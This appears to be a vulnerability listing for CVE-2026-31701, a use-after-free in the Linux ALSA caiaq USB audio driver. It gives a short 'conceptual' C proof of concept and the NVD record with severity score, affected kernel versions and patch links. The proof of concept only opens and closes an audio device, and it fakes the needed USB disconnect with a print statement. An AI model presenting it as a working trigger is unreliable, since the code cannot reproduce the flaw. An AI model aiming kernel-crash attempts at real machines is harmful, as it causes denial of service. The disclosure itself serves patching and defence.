CVE-2026-31701

/* * Conceptual PoC for CVE-2026-31701 * Triggering the race condition in ALSA caiaq driver. * Requires a vulnerable kernel version and hardware. */ #include <fcntl.h> #include <unistd.h> #include <stdio.h> int main() { printf("[+] Attempting to trigger CVE-2026-31701\n"); // 1. Open the audio device to increment usage count // This keeps the snd_card object alive int fd = open("/dev/snd/controlC0", O_RDWR); if (fd < 0) { perror("[-] Failed to open audio device"); return 1; } printf("[+] Audio device opened\n"); // 2. Simulate the USB disconnect event // In a real scenario, this is a physical disconnect or a bus reset. // The vulnerability lies in the window between disconnect and close. printf("[+] Simulating USB disconnect (device freed)...\n"); // Assume kernel frees usb_device here // 3. Close the device to trigger the cleanup callback // snd_card_free_when_closed() -> snd_usb_caiaq_card_free() // This callback tries to access the already freed cdev->chip.dev printf("[+] Closing device to trigger free callback...\n"); close(fd); printf("[+] If kernel is vulnerable, a crash (UAF) may occur now.\n"); return 0; }

{"cve": {"id": "CVE-2026-31701", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T14:16:20.020", "lastModified": "2026-05-06T18:55:49.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: caiaq: take a reference on the USB device in create_card()\n\nThe caiaq driver stores a pointer to the parent USB device in\ncdev->chip.dev but never takes a reference on it. The card's\nprivate_free callback, snd_usb_caiaq_card_free(), can run\nasynchronously via snd_card_free_when_closed() after the USB\ndevice has already been disconnected and freed, so any access to\ncdev->chip.dev in that path dereferences a freed usb_device.\n\nOn top of the refcounting issue, the current card_free implementation\ncalls usb_reset_device(cdev->chip.dev). A reset in a free callback\nis inappropriate: the device is going away, the call takes the\ndevice lock in a teardown context, and the reset races with the\ndisconnect path that the callback is already cleaning up after.\n\nTake a reference on the USB device in create_card() with\nusb_get_dev(), drop it with usb_put_dev() in the free callback,\nand remove the usb_reset_device() call."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.25", "matchCriteriaId": "8B0A7E0E-F6D8-45DB-8CD9-01839FE40A6C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "7.0.2", "matchCriteriaId": "1BD58F1E-7C20-4C0D-92A2-FAC5CBFBE8A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.13:-:*:*:*:*:*:*", "matchCriteriaId": "5A3F9505-6B98-4269-8B81-127E55A1BF00"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "B1EF7059-E670-45F4-B422-54C40FA86390"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc2:*:*:*:*:*:*", "matchCriteriaId": "0D38F0BF-A728-4133-A358-D44A2F7EE6D6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1d9be95aee6c6246a21752e60c9519902649f482", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/59b622a043cffc58b7638cd85ae6c30a0904f8e6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6473ed16df1fe88051140611b3eb9a49be7f429e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/80bb50e2d459213cccff3111d5ef98ed4238c0d5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f6634af5de728a46792f674a66d7843570cb68f7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}